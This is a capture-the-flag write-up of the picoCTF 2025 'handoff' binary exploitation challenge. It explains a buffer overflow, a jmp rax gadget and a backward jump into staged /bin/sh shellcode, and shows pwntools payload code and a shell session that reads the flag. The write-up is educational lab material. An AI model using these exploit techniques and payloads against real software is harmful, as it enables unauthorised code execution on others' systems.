Advanced Buffer Overflow: Stack Pivoting and Ret2Reg in picoCTF 2025

Challenge Info:

  • Platform: picoCTF 2025 - Handoff
  • Author: SKRUBLAWD
  • Category: Binary Exploitation
  • Difficulty: Hard
  • Techniques: Stack Pivoting, Ret2Reg, Shellcode Staging


Understanding the Challenge

So this "handoff" challenge is pretty cool. It's all about:

  • Breaking stuff with buffer overflows
  • Using clever register tricks (Ret2Reg)
  • Getting creative when you don't have enough space
  • Splitting your shellcode across multiple spots
  • Understanding how x86-64 passes stuff around

This is the kind of technique you'd actually use in real vulnerability research.

The name "handoff" is a hint - the program literally hands off control to a register (RAX) that we get to mess with.


Binary Analysis and Reconnaissance

Security Protections Assessment

First thing we do is run checksec to see what security features are active:

Here's what we found:

ProtectionStatusWhat it means for us
NX (No-Execute)DisabledStack can run code - perfect, we can execute our shellcode
Stack CanaryNoNo overflow detection - makes our job way easier
PIE (Position Independent Executable)NoAddresses stay the same every time - gadgets don't move around
RELRO (Relocation Read-Only)PartialSome GOT protection, but we can work with it
RWX SegmentsYesWe can write AND execute on the stack - jackpot

Basically: This binary is wide open. All the protections are off, so it's pretty much begging to be exploited.

Source Code Vulnerability Analysis

Let's dig into the code and find the bug:

The Bug:

fgets(feedback, NAME_LEN, stdin);
//      ^         ^
//   8-byte    32-byte
//   buffer    read size
  • Buffer size: 8 bytes
  • How much it reads: 32 bytes (NAME_LEN)
  • Extra space we can overflow: 32 - 8 = 24 bytes

Textbook buffer overflow right here.

Figure 1: Here's what's happening. We're jamming a 32-byte chunk of data into an 8-byte box. The extra stuff spills out the back and tramples all over the return address.


Exploitation Strategy

The Space Constraint Problem

You'd think "just overflow the return address and drop your shellcode in there!"

But hold up:

Space we have: 24 bytes
Shellcode we need: 27-48 bytes

24 < 48 - It won't fit!

So we need to get creative with a two-part attack:

  1. Part 1: Hide our big shellcode somewhere else (in the 64-byte message buffer)
  2. Part 2: Use the overflow to jump to where we hid the shellcode

Ret2Reg and Stack Pivoting Technique

Here's the key: fgets() returns a pointer to the buffer it just wrote to.

In x86-64:

  • Return values go in the RAX register
  • After fgets(feedback, ...) runs, RAX points to feedback

Our attack plan:

  1. Find a jmp rax gadget (makes the CPU jump to whatever's in RAX)
    • This is the "handoff" moment
  2. Smash the return address to point at our jmp rax gadget
  3. RAX already has feedback's address (thanks, fgets!)
  4. From feedback, jump backwards to our real shellcode in entries.msg

Memory Layout Visualization

To really get why this works, look at how the stack is laid out:

Figure 2: The whole pivot trick. Our "feedback" buffer at the bottom is too tiny for the shellcode. So we use it like a trampoline. We trick the CPU into jumping to the "feedback" buffer (RET -> JMP RAX), which has a tiny instruction that says "Jump Backwards" to the big "entries" buffer up top where our actual shellcode chills.


Exploit Development

Finding the JMP RAX Gadget

A "gadget" is just a short sequence of assembly instructions that ends with ret. We need jmp rax.

Found it: JMP_RAX = 0x40116c

It's sitting in the .text section of the binary.

What happens when the CPU hits jmp rax:

  • CPU looks at what's in RAX
  • Jumps to that address
  • For us, RAX points to feedback buffer
  • So execution keeps going from feedback

Calculating Stack Offset

We need to know exactly how many bytes until we hit the return address (RIP).

Here's the layout:

Figure 6: Calculating the offset. To control RIP, we gotta fill from our buffer start (rbp - 0xc) all the way to the return address (rbp + 0x8). That's 12 bytes (to RBP) + 8 bytes (Saved RBP) = 20 bytes total.

Doing the math:

From feedback to RIP:
= (rbp + 0x8) - (rbp - 0xc)
= 0xc + 0x8
= 0x14
= 20 bytes

Our padding:

[Jump Instruction (varies)] + [Padding with 'A's to hit 20 bytes] + [JMP_RAX address (8 bytes)]
Total: 20 + 8 = 28 bytes

Calculating Jump Distance

Now we're inside feedback. We need a jump to reach the shellcode in entries.msg.

Address math:

From GDB:

  • feedback sits at: rbp - 0xc
  • entries is at: rbp - 0x2e0
  • entries.msg (skipping the 8-byte name): rbp - 0x2d8

How far to jump:

Target = entries[0].msg = rbp - 0x2d8
Where we are = feedback = rbp - 0xc

Distance = Where we are - Target
         = (rbp - 0xc) - (rbp - 0x2d8)
         = -0xc + 0x2d8
         = 0x2cc
         = 716 bytes backwards

The jump:

jmp $-0x2cc      (Jump back 716 bytes)

In pwntools:

jump_back = asm(f"jmp $-{OFFSET}")  # OFFSET = 0x2cc

Assembling the Complete Payload

Figure 7: The Complete Exploit Sequence. From initial overflow to shellcode execution.

Stage 1: Shellcode Storage

First, we add a recipient and send our shellcode as a message:

# Option 1: Add recipient
p.sendlineafter(b"do?", b"1")          
p.sendlineafter(b"name: ", b"Hacker")   # Name for recipient

# Option 2: Add message with shellcode
nop_sled = b"\x90" * 8           # 8 NOPs
shellcode = asm(shellcraft.sh()) # /bin/sh shellcode (approximately 48 bytes)
full_shellcode = nop_sled + shellcode

p.sendlineafter(b"do?", b"2")          
p.sendlineafter(b"to?", b"0")    # Send to recipient 0       
p.sendlineafter(b"them?", full_shellcode)

This puts:

entries[0].msg = [NOP NOP ... (8 bytes) | /bin/sh shellcode (approximately 48 bytes)]
Total: approximately 56 bytes (fits in 64-byte buffer)

Stage 2: Stack Overflow

Now we trigger the vulnerability in Option 3:

# Assemble the overflow payload
jump_back = asm(f"jmp $-0x2cc")    # Jump backwards to shellcode

# Pad jump instruction to 20 bytes, then add JMP_RAX address
payload = jump_back.ljust(20, b'A')  # Pad with 'A's
payload += p64(JMP_RAX)              # 0x40116c in little-endian

# Trigger the overflow
p.sendlineafter(b"do?", b"3")    # Option 3: Exit
p.sendlineafter(b"appreciate it:", payload)

Let's visualize the execution flow:

Figure 7: Visual Step-by-Step. This diagram maps the exact sequence of events: Overflow -> Overwrite RET -> Jump to Gadget -> Jump to Feedback -> Jump Back to Shellcode.

Critical Input Buffering Consideration

Input Stream Management:

The fix of reducing the NOP sled from 16 to 8 bytes demonstrates the mechanics of input buffering:

  • fgets reads until newline or size-1 bytes
  • sendline() adds a newline
  • Any leftover data breaks the menu loop's scanf

The Fix:

Reduce the NOP sled:

nop_sled = b"\x90" * 8  # Changed from 16 to 8
# Now: 8 + 48 = 56 bytes (fits within 64-byte limit)

This ensures the newline is consumed by fgets, keeping stdin clean for the next scanf().


Execution Analysis

Figure 3: The Attack Flow. The process involves three distinct actions: 1. Setup (Send shellcode to safe storage), 2. Trigger (Overflow the small buffer), and 3. Execution (The program crashes, jumps to our trampoline, and lands on our shell).

Step-by-Step Execution Flow

Figure 4: The Execution Chain. We hijack the RET instruction to point to jmp rax. Since RAX holds the address of our feedback buffer, execution flows there. The feedback buffer then executes a backwards jump to our main shellcode.

  1. Function Return: The ret instruction executes.
  2. Gadget Jump: CPU jumps to 0x40116c (jmp rax gadget).
  3. The Handoff: jmp rax executes. RAX holds the feedback buffer address (set by fgets).
  4. Feedback Buffer: CPU jumps to the start of the feedback buffer.
  5. The Pivot: Executes jmp $-0x2cc (the instruction we wrote into feedback).
  6. Landing: CPU jumps backwards 716 bytes to entries.msg.
  7. Sledding: Executes the NOP sled (8 bytes of harmless instructions).
  8. Payload Execution: Executes the /bin/sh shellcode.
  9. Syscall: execve("/bin/sh", NULL, NULL) triggers.
  10. Success: SHELL SPAWNS!

Shellcode Deep Dive

The shellcode generated by asm(shellcraft.sh()) is equivalent to:

Why 0x3b?

  • x86-64 syscall numbers are defined in /usr/include/asm/unistd_64.h
  • 0x3b (59 in decimal) = execve syscall
  • execve("/bin/sh", NULL, NULL) spawns a shell

Complete Exploit Script


Flag Capture

When you run the solution script against the instance, you should see the following output indicating a successful stack pivot and shell access:

Figure 5: Successful exploitation. The script connects, sends the payload, pivots, and drops into an interactive shell.

$ python3 solve.py
[+] Opening connection to shape-facility.picoctf.net on port 52057: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -la
total 16
drwxr-xr-x 1 ctf ctf 4096 Dec 11 12:34 .
drwxr-xr-x 1 ctf ctf 4096 Dec 11 12:34 ..
-r--r----- 1 ctf ctf   30 Dec 11 12:34 flag.txt
-rwxr-sr-x 1 ctf ctf 8648 Dec 11 12:34 handoff
$ cat flag.txt
picoCTF{piv0ted_ftw_91146601}

Key Takeaways

Security Protection Impact

ProtectionDisabled?Would Break Exploit If...
ASLRNo (but PIE is No)PIE was enabled - gadget addresses would shift
NXYesIf enabled, stack would not be executable - shellcode would not run
CanaryYesIf enabled, overflow would be detected when RBP is overwritten
RELROPartialFull RELRO could prevent GOT overwriting (not needed here)

Exploitation Techniques

  • Stack pivoting enables shellcode execution in constrained spaces
  • Ret2Reg leverages function return values for control flow hijacking
  • Multi-stage exploitation splits payloads across memory regions
  • Register state awareness is critical for advanced exploitation